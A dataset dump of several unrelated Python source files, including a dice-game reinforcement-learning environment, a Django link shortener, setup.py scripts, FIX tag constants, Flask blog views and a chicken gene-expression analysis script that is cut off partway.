round_roll(self, dice_ix = []):\n \n assert(self.remaining_rolls > 0)\n \n # Roll the dice based on the faces type you want to roll\n # For example we want to roll 1 3s and 1 6s faces \n\n if self.remaining_rolls == 3 or all([dix == 0 for dix in dice_ix]):\n dices_for_modification = range(5)\n \n else:\n ## Sanity check if there is more roll actions available \n \n ## Create placehoder with indeces of the dices we will modify \n dices_for_modification = []\n dices = [i.get_dice_value() for i in self.dices]\n\t\t\t\n\t\t\t\n ## For each position of dice_ix\n for k,i in enumerate(dice_ix):\n \n ## Check if it should be rolled\n ## IF no (0 value) then go to the next position\n if i == 0:\n continue\n \n ## For each position != 0 \n ## Find the position of the dice with the face we need to roll\n \n val_pos = [j for j, v in enumerate(dices) if v == (k+1)]\n \n \n ### For all \n while i > 0:\n dices_for_modification.append(val_pos.pop(0))\n i -= 1\n \n ### Roll The dice:\n for i in dices_for_modification:\n self.dices[i].roll()\n \n \n ## Get the dice roll \n dice_roll = [d.get_dice_value() for d in self.dices]\n \n ## Modify aggregated dices:\n dices_agg_tmp = np.zeros(6, dtype = int)\n \n ## The dice roll is aggregated per position onf the list \n ## The first element represents face value i = 1 (indexed as 0 or [i-1])\n for i in dice_roll:\n dices_agg_tmp[i-1] += 1\n \n self.dices_agg = dices_agg_tmp\n\n ## Calculate the temporary score for each position\n for p in self.positions:\n p.calculate_score(dice_roll = dice_roll)\n \n ## This check if the roll action has improoved the \n ## score on any of the positions and if so then \n ## add reward of 1 \n \n ## if this is the first roll of the round \n ## init the max_potential_score after the roll \n if not self.game_over:\n if self.remaining_rolls == 3:\n self.max_potential_score = max([i.temporary_score for i in self.positions if i.unchecked])\n self.last_score = 0\n else:\n potential_after_roll = max([i.temporary_score for i in self.positions if i.unchecked])\n \n ## Compare if the roll has improoved the score\n ## If so ... assign reward: \n ## If after the roll the potential is worse then \n ## assign penalty \n \n if self.max_potential_score < potential_after_roll:\n self.last_score = self.improvement_reward \n \n elif self.max_potential_score > potential_after_roll:\n self.last_score = self.improvement_reward \n \n else:\n self.last_score = 0\n \n #Update the potential\n self.max_potential_score = potential_after_roll \n \n ## Decrease the remaining rolls: \n self.remaining_rolls -= 1\n self.update_game_state()\n\n \n ## Checkout position is the action that yelds actual reward \n def checkout_position(self, position_name):\n \n ## Get the name of all positions and the checkout space:\n position_checkout = [p.get_checkout_state() for p in self.positions]\n \n ## Iterate trhough all positions, obtained from previous loop\n ## extract the positions that have not been checked yet\n \n p_name = []\n for p_checkout in position_checkout:\n if p_checkout[1]:\n p_name.append(p_checkout[0])\n \n ## Assert that the position for checkout is not filled\n ## sanity check\n assert(position_name in p_name)\n \n ## Find the location of the position that we want to chekout in the scoreboard \n position_name_ix = [i[0] for i in position_checkout].index(position_name)\n \n ## Checkout Position \n self.positions[position_name_ix].checkout()\n \n ## Update final score after checkout\n self.final_score += self.positions[position_name_ix].get_final_score()\n \n ## Update the last reward: \n self.last_score = self.positions[position_name_ix].get_final_score()\n \n ## Reset the dice counter\n self.remaining_rolls = 3\n \n ## Reset the dice\n for dice in range(5):\n self.dices[dice].reset()\n \n ## Reset the aggregated dice board\n self.dices_agg = np.zeros(6, dtype = int)\n \n ## Check if all positions are filled\n ## IF so - update game over: \n if all([not(p.unchecked) for p in self.positions]):\n self.game_over = True\n \n self.update_game_state()\n\n\n\n ## Print the score board:\n def get_scoreboard_state(self):\n scoreboard_state = [i.get_checkout_state() for i in self.positions]\n return(scoreboard_state)\n \n \n ## This function lists all posible states\n ## according to the configuration of the game \n ## the dice rolls combinations are constant\n ## however the positions migth varry depending \n ## on the complexity of the game\n ## this functionallity will be used in order to \n ## train approximation methods \n \n def get_state_space(self):\n \n # the state is an 1d array of shape 1 x 6 x 2 ^ <# positions >\n \n ## Create placeholder for each combination of rolls\n dices_arr = []\n num_position = len(self.positions)\n \n ## Loop over all combinations\n ## and record them as list of np arrays \n for d1 in range(6):\n for d2 in range(6):\n for d3 in range(6):\n for d4 in range(6):\n for d5 in range(6):\n \n dice_roll_matrix = np.zeros((5,6))\n itr_lst = [i for i in enumerate([d1,d2,d3,d4,d5])]\n \n for j in itr_lst:\n dice_roll_matrix[j] = 1\n \n dices_arr .append(dice_roll_matrix)\n \n # Convert the list of 2d arrays to 3d array \n dices_arr = np.array(dices_arr )\n ## Aggregate the faces of the dice \n ## This way we get N rolls for each face\n dices_arr = dices_arr.sum(axis = 1)\n ## Dedup the array \n dices_arr = np.unique(dices_arr, axis = 0)\n \n #### Append the dice positions: \n #### Create all combinations between r= remaining rolls, dice combos and board state (checked out positions)\n\n ingame_satates = [np.hstack((r, dices_arr[j,:], np.array(i))) \n for r in range(3) \n for j in range(dices_arr.shape[0]) \n for i in product((0,1), repeat = num_position) if i != tuple([0]*num_position)]\n \n \n ### There are some special positions that must be considered \n ### The common property of those states is that the dice roll is 0\n ### The starting state is all positions unchecked\n ### The terminal state is the oposite remaining rolls =3 , dice_roll = 5x0, positions = 1\n \n special_states = [np.hstack((3, np.zeros((6)), np.array(i))) for i in product((0,1), repeat = num_position) ]\n \n ### \n \n state_space = np.vstack((ingame_satates,special_states))\n return(state_space)\n\n\n ## The action set depends on the state of the environment\n ## The following function lists all possible actions that \n ## can be executed\n \n def get_actions_set(self):\n \n if self.game_over:\n return([('TerminalState',(0,0,0,0,0,0))])\n\t\t\n\t\t\n ## Get the state of the environmen\n s = self.game_state\n \n ## If this is preroll statet (start of the game or right after checkout):\n if s[0] == 3:\n return([('Roll',(0,0,0,0,0,0))])\n \n ## Ctreate placeholder for the action set \n rd_action_set_raw = []\n \n for d1 in range(self.dices_agg[0]+1):\n for d2 in range(self.dices_agg[1]+1):\n for d3 in range(self.dices_agg[2]+1):\n for d4 in range(self.dices_agg[3]+1):\n for d5 in range(self.dices_agg[4]+1):\n for d6 in range(self.dices_agg[5]+1):\n rd_action_set_raw.append((d1,d2,d3,d4,d5,d6))\n \n ## Create the position rolls as numpy array \n ## Action 0,0,0,0,0,0 = roll all dices \n \n rd_action_set= np.array(rd_action_set_raw, dtype = int)\n# print(rd_action_set[np.sum(rd_action_set, axis = 1) < 5,:])\n rd_action_set = rd_action_set[np.sum(rd_action_set, axis = 1) < 5,:]\n \n\n ## Get the score board state:\n ## It is needed to determine which positions can be checked \n ## get_scoreboard_state returns list of tuples with two elements\n ## the first element is the name of the position\n ## the second element is the online state of the position\n ## True means the the position is online \n \n sb = self.get_scoreboard_state()\n \n ## dice rolls = 3 means that the round has just started\n ## The only action is to roll all five dices \n \n ## A is a placeholder for all actions \n ## A is defined as tuple of action and another element \n ## When the action is Roll the second element is a tuple \n ## of position faces \n ## When the action is Checkout then the second element is \n ## the id of the position to be ckeded out \n \n ## B is a mirro ph for the online state of all environments\n \n A = []\n B = []\n \n for sb_i in sb:\n if sb_i[1]: # if the position is online \n A.append(('Checkout',(sb_i[0]))) ## append the position as potential action \n B.append(sb_i[0]) \n \n ## Add dice roll if remaining rolls > 0\n if s[0] > 0:\n rws, _= rd_action_set.shape\n for rs in range(rws):\n A.append(('Roll', tuple(rd_action_set[rs,:].flatten())))\n \n ## If All positions are checked out then return emtpy list \n ## This means that the game is in terminal state\n \n if all([not i for i in B]):\n A = []\n \n return(A)\n \n# def get_action_space(self):\n \n \n \n def perform_action(self, a):\n \n ### Verify that the action is in the possible actions space\n ### If not assign large negative reward: \n \n A = self.get_actions_set()\n \n if any([j == a for j in A]):\n \n ### Apply action to the environment\n ### a should be dictionary with 1 element \n ### The key of the dictionary should be the parameter \n ### The value should be the type of the action\n ### There are 2 main types of actions - Checkout and Roll \n \n Action_Key = a[1] # Roll / Checkout\n Action_Value = a[0] # Depends on the Action_Key \n \n if Action_Value == 'Roll':\n self.round_roll(Action_Key)\n else:\n self.checkout_position(Action_Key)\n \n else:\n self.last_score = self.invalid_action_penalty\n \n # The reutrned game state is the state AFTER performing the action \n return((self.game_state ,a,self.last_score))\n\n\n ## Define function with random action \n ## That will implement eps greedy strategy\n \n def eps_greedy(self, a, eps = 0.1):\n ## Eps Soft implementation\n A = self.get_actions_set()\n p = np.random.random()\n if p < (1 - eps):\n return(a)\n else:\n return random.sample(A, k = 1)[0]\n \n \n ## Sample random action per state\n ## This is useful for benchmarking \n def sample_random_action(self, only_eligible=True):\n ## The game can sample actions from the full action space \n ## of only from the action space that leads to state change \n ## this is controlled by the additional parameter of the method \n \n if only_eligible:\n A = self.get_actions_set()\n return (random.sample(A, k = 1)[0])\n else:\n return (random.sample(self.all_actions, k = 1)[0])\n \n \n \n### \n# The general game is all about checking out the different positions \n# Optimizing the score for each position is the primary objective of the game \n# Here each position is a placeholder for a combination of dice faces that have to be checked\n# The number and type of positions comtrolls the complexity of the game \n# The original game contains 6 mandatory + 7 optional positions \n \nclass Position():\n \n def __init__(self,position_name, is_mandatory):\n \n self.position_name = position_name\n self.unchecked = True\n self.final_score = np.int32(0)\n self.temporary_score = None\n self.is_mandatory= is_mandatory\n \n\n ## Checkout the position\n ## Fill the score in the score PH - final ph\n def checkout(self):\n if self.unchecked: \n self.final_score = self.temporary_score\n self.unchecked=False\n \n def get_final_score(self):\n return(self.final_score)\n \n ## Reset the temporary score score calculation\n def reset(self):\n self.temporary_score = None\n \n def reset_position(self):\n \n self.unchecked = True\n self.final_score = np.int32(0)\n self.temporary_score = None\n \n def get_position_name(self):\n return(self.position_name)\n \n ## \n def get_temp_score(self):\n if self.unchecked:\n return((self.position_name, self.temporary_score))\n \n ## Return Tuple (position name, checkout state)\n def get_checkout_state(self):\n return((self.position_name, self.unchecked))\n\n### These will accomodate our mandatory positions \n\nclass MandatoryPosition(Position):\n \n def __init__(self, n,position_name,is_mandatory, verbose = False):\n super(MandatoryPosition,self).__init__(position_name, is_mandatory)\n \n self.n = n\n self.verbose = verbose\n self.min_score = -2 * n\n self.max_score = 2 * n\n \n def calculate_score(self, dice_roll):\n \n ## If the2 position has been checked do not calculate score:\n if self.unchecked:\n \n ## Check how many ocurences of the position number occurs in the dice\n \n NumOc = sum([j in [self.n] for j in dice_roll])\n NumOc = max([1, NumOc])\n Score = (NumOc-3) * self.n\n \n# ## If reach General gain 50 points extra\n# if self.n == 5 and NumOc == 5:\n# Score += 50\n \n self.temporary_score = Score\n \n## There are additional Position extensions that will be defined later \n \n \n\n### Create the dice class \nclass Dice():\n def __init__(self):\n self.value = 0\n \n def roll(self):\n self.value = np.random.randint(low = 1, high = 7)\n \n def reset(self):\n self.value = 0\n \n def get_dice_value(self):\n return(self.value)\n ","sub_path":"Environments/General/GeneralMandatory.py","file_name":"GeneralMandatory.py","file_ext":"py","file_size_in_byte":20734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"504374855","text":"# Create your views here.\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.template import RequestContext\nfrom django.db.models import F\nfrom django.core.validators import URLValidator\nfrom django.core.exceptions import ValidationError\nfrom tiny_link import models\nimport datetime\nimport functools\n\ndef home(request):\n url_error = False\n url_input = \"\"\n shortened_url = \"\"\n all_link = request.build_absolute_uri('/'+'allLinks')\n if request.method == \"POST\":\n url_input = request.POST.get(\"url\", None)\n # validator = URLValidator(schemes=('http', 'https', 'www'))\n # try:\n # url_input = request.POST.get(\"url\", None)\n # if not url_input:\n # url_error = True\n # else:\n # validator(url_input)\n # except ValidationError:\n # url_error = True\n\n if not url_input:\n url_error = True\n else:\n url_error = False\n\n if not url_error:\n link_db = models.Link()\n link_db.link = url_input\n shortened_url = request.build_absolute_uri(link_db.get_short_id())\n link_db.short_link = shortened_url\n link_db.save()\n url_input = \"\"\n #shortened_url = \"%s/%s\"%(request.META[\"HTTP_HOST\"], link_db.get_short_id())\n\n return render(request, \"index.html\",\n {\"error\":url_error, \"url\":url_input, \"shorturl\":shortened_url, 'alllink':all_link})\n\ndef link(request, id):\n print(id)\n db_id = models.Link.decode_id(id)\n print(db_id)\n link_db = get_object_or_404(models.Link, id=db_id)\n\n\n models.Link.objects.filter(id=db_id).update(hits=F('hits')+1) # Update the link hits\n\n if not models.HitsDatePoint.objects.filter(link=link_db, day=datetime.date.today()).exists():\n x = models.HitsDatePoint()\n x.day = datetime.date.today()\n x.link = link_db\n try:\n x.save()\n except Exception as e:\n print(\"Possible corruption: %s\"%e)\n\n models.HitsDatePoint.objects.filter(day=datetime.date.today(), link=link_db).update(hits=F('hits')+1)\n print(\"Link:\", link_db.link)\n if(str(link_db.link).startswith('http')):\n return redirect(link_db.link)\n else:\n return redirect(\"https://\" + link_db.link)\n\ndef stats(request, id):\n db_id = models.Link.decode_id(id)\n link_db = get_object_or_404(models.Link, id=db_id)\n\n stats = models.HitsDatePoint.objects.filter(day__gt=datetime.date.today()-datetime.timedelta(days=30),\n link=link_db).all()\n\n link_url = request.build_absolute_uri(\"/\"+link_db.get_short_id()) # make it an absolute one\n\n return render(request, \"stats.html\", {\"stats\":stats, \"link\":link_db, \"link_url\":link_url}\n )\n\ndef allLinks(request):\n # db_id = models.Link.decode_id(id)\n # link_db = get_object_or_404(models.Link)\n return render(request, \"allLinks.html\",{\"links\":models.Link.objects.all()})\n","sub_path":"tiny_link/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"39775414","text":"from setuptools import setup, find_packages\n\n# Load the contents of the metadata module without using import, since importing requires all dependencies\n# to be available and at this point pip hasn't checked them yet.\nmetadata = {}\nwith open(\"wmfdata/metadata.py\") as file:\n exec(file.read(), metadata)\n\nsetup(\n name=\"wmfdata\",\n version = metadata[\"version\"],\n description=\"Tools for analyzing data on SWAP, a platform for confidential Wikimedia data\",\n install_requires=[\n \"impyla\",\n \"IPython\",\n \"findspark\",\n \"matplotlib>=2.1\", # 2.1 introduced ticker.PercentFormatter\n \"mysql-connector-python\",\n \"pandas\",\n \"packaging\",\n \"requests\",\n \"thrift-sasl==0.2.1\", # impyla can't connect properly to Hive with a later version\n ],\n packages=find_packages(),\n python_requires=\">=3\"\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"58684440","text":"import os\n\nfrom setuptools import setup\n\n\ndef get_version():\n version_filepath = os.path.join(os.path.dirname(__file__), 'optuna_firestore_storage', 'version.py')\n with open(version_filepath) as f:\n for line in f:\n if line.startswith('__version__'):\n return line.strip().split()[-1][1:-1]\n assert False\n\n\nrequires = [\n 'grpcio',\n 'optuna',\n 'protobuf'\n]\n\nextras_require = {\n 'build': [\n 'grpcio-tools',\n 'mypy-protobuf',\n ],\n 'testing': [\n 'grpcio-testing',\n ],\n}\n\nsetup(\n name='optuna_firestore_storage',\n version=get_version(),\n description='It helps optuna to use Firestore as a backend DB.',\n url='https://gitlab.com/optuna-firestore-adapter/optuna-firestore-storage',\n author='Akira Sosa',\n author_email='akirasosa@gmail.com',\n license='MIT',\n packages=[\n \"optuna_firestore_proto\",\n \"optuna_firestore_storage\",\n ],\n install_requires=requires,\n tests_require=extras_require['testing'],\n extras_require=extras_require,\n)\n","sub_path":"pypi_install_script/optuna_firestore_storage-0.6.0.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"85228147","text":"BeginString = 8\nBodyLength = 9\nMsgType = 35\nSenderCompID = 49\nTargetCompID = 56\nTargetSubID = 57\nSenderSubID = 50\nMsgSeqNum = 34\nSendingTime = 52\nCheckSum = 10\nTestReqID = 112\nEncryptMethod = 98\nHeartBtInt = 108\nResetSeqNum = 141\nUsername = 553\nPassword = 554\nText = 58\nBeginSeqNo = 7\nEndSeqNo = 16\nGapFillFlag = 123\nNewSeqNo = 36\nMDReqID = 262\nSubscriptionRequestType = 263\nMarketDepth = 264\nMDUpdateType = 265\nNoMDEntryTypes = 267\nNoMDEntries = 268\nMDEntryType = 269\nNoRelatedSym = 146\nSymbol = 55\nMDEntryPx = 270\nMDUpdateAction = 279\nMDEntryID = 278\nMDEntrySize = 271\nClOrdID = 11\nSide = 54\nTransactTime = 60\nOrderQty = 38\nOrdType = 40\nPrice = 44\nStopPx = 99\nTimeInForce = 59\nExpireTime = 126\nPosMaintRptID = 721\nOrderID = 37\nExecType = 150\nOrdStatus = 39\nAvgPx = 6\nLeavesQty = 151\nCumQty = 14\nCurrency = 15\nExecID = 17\nExecRefID = 19 \nExecTransType=20\nOnBehalfOfSubID = 116\nOnBehalfOfCompID = 115\nOrigClOrdID = 41\nOrdRejReason = 103\nDeliverToCompID = 128\nDeliverToSubID = 129\nPossDupFlag = 43\nPossResend = 97\nOrigSendingTime = 122\nClientID = 109\nAccount = 1\nCommission = 12\nCommType = 13\nSettlmntTyp = 63\nFutSettDate = 64\nHandlInst = 21\nExecInst = 18\nCxlType = 125\nExDestination = 100\nIDSource = 22\nSecurityType = 167\nSecurityID = 48\nSettlCurrency = 120\nSecurityExchange = 207\nDKReason = 127\nRefSeqNum = 45\nRefMsgType = 372\nBusinessRejectRefID = 379\nBusinessRejectReason = 380\n\n","sub_path":"initiator/model/Field.py","file_name":"Field.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"452698980","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport statsmodels.api as sm\n\ndf = pd.read_csv('LoansStats3b.csv', header=1, low_memory = False)\ndf.drop(df.index[188122:])\n\ndf['issue_d_format'] = pd.to_datetime(df['issue_d'])\ndfts = df.set_index('issue_d_format')\nyear_month_summary = dfts.groupby(lambda x: x.year * 100 + x.month).count()\nyear_month_summary.index = pd.to_datetime(year_month_summary.index, format='%Y%m')\nloan_count_summary = year_month_summary['issue_d']\n\nplt.figure()\nloan_count_summary.plot()\n\nsm.graphics.tsa.plot_acf(loan_count_summary)\nsm.graphics.tsa.plot_pacf(loan_count_summary)\n","sub_path":"time_series.py","file_name":"time_series.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"493870158","text":"\"\"\"\nThis script produces a plot of the sound speed for the Tillotson EOS.\n\"\"\"\n#import matplotlib as mpl; mpl.rcParams['font.family'] = 'serif'\nfrom matplotlib import *\nrcParams['font.family'] = 'serif'\nfrom matplotlib.patches import *\nfrom numpy import *\nfrom matplotlib.pyplot import *\n\ncs = loadtxt('cshot.txt')\n\nrho = cs[:,0]\nu = cs[:,1]\ncsold = cs[:,2]\ncslinold = cs[:,3]\ncslinnew = cs[:,4]\n\n#xmax = 25\n#ymax = 25\n#xlim(0,xmax)\n#ylim(0,ymax)\n\ntitle(r'The Sound Speed for the Tillotson EOS (u=25)')\nxlabel('Density')\nylabel(r'$c_s^2$')\n\n#plot(rho,u,'.',color='green',markersize=0.1)\n\nplot(rho,csold,'-',color='red',linewidth=1,label='Gasoline')\nplot(rho,cslinold,'-',color='green',linewidth=1,label='Lin. interpolation')\nplot(rho,cslinnew,'-',color='blue',linewidth=1,label='tillotson.c')\n\nlegend(loc='lower right')\n\n#savefig('target100kcondensedc2.old.ic.pdf')\n#savefig('target100kcondensedc2.old.ic.png')\nsavefig('target100kcondensedc2.linc2.ic.png')\n\n","sub_path":"tillotson/cs.py","file_name":"cs.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"312064320","text":"from flasko.blueprints import views\n\nfrom datetime import datetime\n\nfrom flask import (abort, Blueprint, flash, redirect, render_template, request, \n url_for)\nfrom flask_login import current_user, login_required\n\nfrom flasko import db\nfrom flasko.decorators import admin_required\nfrom flasko.forms import PostForm, ProfileEditForm, UserEditForm\nfrom flasko.messages import messages, random_post_question\nfrom flasko.models import Permission, Post, Role, User\n\n@views.route(\"/\", methods=[\"GET\", \"POST\"])\ndef index():\n form = PostForm()\n if (current_user.has_permission(Permission.WRITE_ARTICLES)\n and form.validate_on_submit()):\n Post.add_post(form.body.data, current_user)\n return redirect(url_for(\"views.index\"))\n page = request.args.get(\"page\", 1, type=int)\n pagination = Post.query.order_by(Post.timestamp.desc()).paginate(\n page,\n per_page=10,\n error_out=False)\n posts = pagination.items\n return render_template(\"index.html\",\n disable_header=True, hello=random_post_question(),\n form=form, pagination=pagination, posts=posts,\n timestamp=datetime.utcnow())\n\n@views.route(\"/post/\")\ndef post(id):\n post = Post.query.get_or_404(id)\n return render_template(\"post.html\", \n disable_header=True, posts=[post],\n timestamp=datetime.utcnow())\n\n@views.route(\"/edit/\", methods=[\"GET\", \"POST\"])\n@login_required\ndef edit_post(id):\n post = Post.query.get_or_404(id)\n if (current_user != post.author\n and not current_user.has_permission(Permission.ADMINISTER)):\n abort(403) \n form = PostForm()\n if form.validate_on_submit():\n post.edit_from_form(form)\n flash(messages[\"flash_post_updated\"])\n return redirect(url_for(\"views.post\", id=post.id))\n form.fill_from_post(post)\n return render_template(\"post_edit.html\",\n form=form, timestamp=datetime.utcnow())\n\n@views.route(\"/user/\")\ndef profile(name):\n user = User.query.filter_by(name=name).first()\n if not user:\n abort(404)\n posts = user.posts.order_by(Post.timestamp.desc()).all()\n return render_template(\"profile.html\",\n user=user, posts=posts, timestamp=datetime.utcnow())\n\n@views.route(\"/edit-profile\", methods=[\"GET\", \"POST\"])\n@login_required\ndef profile_edit():\n form = ProfileEditForm()\n if form.validate_on_submit():\n if not current_user.edit_from_profile_form(form):\n abort(500)\n flash(messages[\"flash_profile_updated\"])\n return redirect(url_for(\"views.profile\", name=current_user.name))\n form.fill_from_user(current_user)\n return render_template(\"profile_edit.html\",\n form=form, timestamp=datetime.utcnow())\n\n@views.route(\"/edit-user/\", methods=[\"GET\", \"POST\"])\n@login_required\n@admin_required\ndef user_edit(id):\n user = User.query.get_or_404(id)\n form = UserEditForm(user=user)\n if form.validate_on_submit():\n if not user.edit_from_edit_form(form):\n abort(500)\n flash(messages[\"flash_user_updated\"])\n return redirect(url_for(\"views.profile\", name=user.name))\n form.fill_from_user(user)\n return render_template(\"user_edit.html\",\n form=form, user=user, timestamp=datetime.utcnow())\n","sub_path":"flasko/blueprints/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"301135522","text":"#!/usr/bin/env python3.6\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport scipy\r\nfrom scipy import stats\r\nimport sys\r\nimport copy\r\n\r\n\"\"\"\r\n\r\nPrograms Mines All Significant Multi-Dimensional Adjusted Results\r\nand annotates the data with meta-results and VEP variant data\r\n\r\nREQUIRED INPUT FILES\r\n\r\n1. Testable_VEP_Results.txt\r\n- All the annotated data from VEP\r\n\r\n2. sig_multi_dim_adj_results.txt\r\n- All the significant multi-dimensional adjusted results for a specific tissue\r\n\r\n3. Meta Input File\r\n- Meta Data File about the chicken samples (tells which samples are HFE vs LFE)\r\n\r\nREQUIRED INPUT SETTINGS\r\n\r\n1. Project Name\r\n- Tells program how to parse the meta data file to identify the correct samples\r\n\r\n2. Tissue\r\n- Tells program how to parse the meta data file to identify the correct samples\r\n\r\n\r\n\"\"\"\r\n\r\n\r\ndef create_chicken_meta_data_dict(meta_data_input_file):\r\n\r\n \"\"\"\r\n\r\n Create the empty meta data dictionary for storing all\r\n the meta data results for analysis of the data\r\n\r\n : Param meta_data_input_file: Meta data file being examined\r\n\r\n : Return empty_meta_dict: Empty meta data dictionary to be filled\r\n\r\n\r\n \"\"\"\r\n\r\n # Create lists to store variables\r\n project_list = []\r\n tissue_list = []\r\n\r\n # Open the input file\r\n input_file = open(meta_data_input_file, 'r')\r\n\r\n # Start looping over the file\r\n for line in input_file:\r\n\r\n # Skip the header line\r\n if line.startswith(\"Old\"):\r\n continue\r\n\r\n # Deal with the rest of the data\r\n else:\r\n\r\n # Split the data\r\n split_data = line.split(\"\\t\")\r\n\r\n # Get the variables of interest\r\n project = split_data[2]\r\n tissue = split_data[3]\r\n\r\n # Add to the lists\r\n project_list.append(project)\r\n tissue_list.append(tissue)\r\n\r\n # Convert lists to sets and back to lists\r\n project_list = list(set(project_list))\r\n tissue_list = list(set(tissue_list))\r\n\r\n #### Create Inner Tissue Dictionary ###\r\n # Create empty inner dict\r\n inner_tissue_dict = {}\r\n\r\n # Loop over tissues\r\n for tissue in tissue_list:\r\n\r\n # Update the inner dictionary with empty dictionaries\r\n inner_tissue_dict.update({tissue: {}})\r\n ########################################\r\n\r\n ######### Meta Data Dictionary #########\r\n # Create a dictionary\r\n empty_meta_dict = {}\r\n \r\n # Loop over projects and in tissues for dictionary\r\n for project in project_list:\r\n\r\n # Make a deep copy of the\r\n deep_copy_inner_tissue_dict = copy.deepcopy(inner_tissue_dict)\r\n\r\n # Update the Meta Dictionary\r\n empty_meta_dict.update({project: deep_copy_inner_tissue_dict})\r\n #########################################\r\n\r\n # Close the file\r\n input_file.close()\r\n\r\n return(empty_meta_dict)\r\n\r\n\r\n\r\ndef extract_chicken_meta_data(meta_data_input_file, empty_meta_data_dict):\r\n\r\n \"\"\"\r\n\r\n Extract the meta data about the chickens with sample IDs as keys\r\n and feed efficiency status as values\r\n\r\n : Param meta_dta_input_file: Meta data file about the chickens\r\n : Param empty_meta_data_dict: Empty meta data dictionary to be filled\r\n\r\n : Return chicken_meta_dict: Filled in meta data dictionary\r\n\r\n \"\"\"\r\n\r\n # Open the input file\r\n input_file = open(meta_data_input_file, 'r')\r\n\r\n # Rename Dictionary to prevent confusion\r\n chicken_meta_dict = empty_meta_data_dict\r\n\r\n # Start Looping over liens of the file\r\n for line in input_file:\r\n\r\n # Remove the new line for safety\r\n line = line.rstrip(\"\\n\")\r\n\r\n # Skip the header line\r\n if line.startswith(\"Old\"):\r\n continue\r\n\r\n # Deal with actual data\r\n else:\r\n\r\n # Split the data\r\n split_data = line.split(\"\\t\")\r\n\r\n # Get the variables of interest\r\n correct_id = split_data[1]\r\n project = split_data[2]\r\n tissue = split_data[3]\r\n line = split_data[4]\r\n feed_status = split_data[6]\r\n\r\n # Update the chicken meta data dictionary\r\n chicken_meta_dict[project][tissue].update({correct_id: {'line': line,\r\n 'feed_status': feed_status}})\r\n \r\n # Close the file\r\n input_file.close()\r\n\r\n return (chicken_meta_dict)\r\n\r\n\r\ndef extract_variant_information(vep_annotation_results_file_name):\r\n\r\n \"\"\"\r\n\r\n Extract the variant information from the testable VEP results\r\n file created using VEP\r\n\r\n : Param vep_annotation_results_file_name: Name of file being parsed\r\n\r\n : Return variant_info_dict: Dictionary of variant information\r\n\r\n \"\"\"\r\n\r\n # Create the dictionary to store the results\r\n variant_info_dict = {}\r\n\r\n # Open the file\r\n input_file = open(vep_annotation_results_file_name, 'r')\r\n\r\n # Loop over the file\r\n for line in input_file:\r\n\r\n # Remove the new line for safety\r\n line = line.rstrip(\"\\n\")\r\n\r\n # Skip the header line\r\n if line.startswith(\"#\"):\r\n continue\r\n\r\n # Deal with Rest of Data\r\n else:\r\n\r\n # Split the lie\r\n split_line = line.split(\"\\t\")\r\n\r\n # Get variables of interest\r\n rs_id = split_line[0]\r\n location = split_line[1]\r\n consequence = split_line[3]\r\n impact = split_line[4]\r\n gene_symbol = split_line[5]\r\n\r\n # Add results to dictionary\r\n variant_info_dict.update({location: {'rs_id': rs_id,\r\n 'consequence': consequence,\r\n 'impact': impact,\r\n 'gene_symbol': gene_symbol}})\r\n\r\n # Close the file\r\n input_file.close()\r\n\r\n return(variant_info_dict)\r\n\r\n\r\ndef create_sig_counter_ase_dict(sample_names):\r\n\r\n \"\"\"\r\n\r\n Create counter dictionary based on the total number\r\n of samples\r\n\r\n : Param sample_names: list of all the samples\r\n\r\n : Return counter_sig_ase_dict; Dictionary to count the number of Sig ASE samples\r\n\r\n \"\"\"\r\n\r\n # Create a dictionary to store values\r\n counter_sig_ase_dict = {}\r\n\r\n # Get the total sample counter\r\n total_sample_count = len(sample_names)\r\n\r\n # Loop over the range\r\n for value in range(1, total_sample_count + 1):\r\n\r\n # Update the dictionary with values\r\n counter_sig_ase_dict.update({value: 0})\r\n\r\n return(counter_sig_ase_dict)\r\n\r\n\r\ndef create_sample_index_dict(sample_names):\r\n\r\n \"\"\"\r\n\r\n Creates a sample index dictionary, scrubbing the names\r\n to remove extra information about tissue source, so names\r\n can be used to look up meta-data results\r\n\r\n : Param sample_names: List of sample names from file header\r\n\r\n : Return sample_index_dict: Dictionary of sample names (key-index, values-names)\r\n\r\n \"\"\"\r\n\r\n # Create dictionary to store names\r\n sample_index_dict = {}\r\n\r\n # Start a index counter\r\n index_counter = 0\r\n\r\n # Loop over the samples\r\n for sample in sample_names:\r\n\r\n # Split the name on the underscore\r\n split_sample_name = sample.split(\"_\")\r\n\r\n # Take the last entry which the sample ID\r\n sample_id = split_sample_name[-1]\r\n\r\n # Add to the sample index dictionary\r\n sample_index_dict.update({index_counter: sample_id})\r\n\r\n # Add to the index counter\r\n index_counter += 1\r\n \r\n return (sample_index_dict)\r\n\r\n\r\ndef analyze_ase_behavior(chicken_meta_dict, project, tissue,\r\n multi_dim_adj_file_name):\r\n\r\n \"\"\"\r\n\r\n Analyze a multi-dimensional adjusted file with significant samples for ASE\r\n\r\n : Param chicken_meta_dict: Dictionary of all the meta data for the samples\r\n : Param project: Project name used to looking up values in the chicken meta data dictionary\r\n : Param tissue: Tissue being examined (used for dictionary lookup)\r\n : Param multi_dim_adj_file_name: Name of the file being examined\r\n\r\n : Return: output_file_name: Name of the results file from analysis, file needed\r\n \r\n \"\"\"\r\n\r\n print (\"Analyzing Multi-Dimensional Adjusted 